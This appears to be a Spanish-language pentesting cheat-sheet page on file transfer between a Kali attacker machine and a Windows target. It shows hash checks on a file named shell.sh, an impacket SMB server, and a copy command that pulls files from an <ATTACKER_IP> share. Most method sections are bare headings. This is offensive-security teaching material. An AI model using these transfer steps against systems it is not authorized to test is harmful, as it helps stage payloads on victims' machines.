File Transfer
Verify correct file content after transfer
# Kali Linux
❯ md5sum <file_name>
e7f7d2522cc7fdec3e6cc2c1e2f20819 <file_name>
# PowerShell
╭╴at ~\Desktop
╰─ Get-FileHash C:\Users\gzzcoo\Desktop\shell.sh -Algorithm md5
Algorithm Hash Path
--------- ---- ----
MD5 E7F7D2522CC7FDEC3E6CC2C1E2F20819 C:\Users\gzzcoo\Desktop\shell.shDownload Operations
SMB Server
# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -smb2support
# Desde Windows, podemos descargar ficheros de Kali Linux hacía el equipo Windows
copy \\<ATTACKER_IP>\smbFolder\archivo.txt C:\path\destination\archivo.txtCertutil.exe
PowerShell Download Operations
Bitsadmin Download Function
File Download with BitsAdmin
PowerShell + BITS
Curl
Wget
FTP Downloads
JavaScript
Download a File Using JavaScript and cscript.exe
VBScript
Download a File Using VBScript and cscript.exe
Upload Operations
PowerShell Upload Operations
SMB Uploads

FTP Uploads
Última actualización
¿Te fue útil?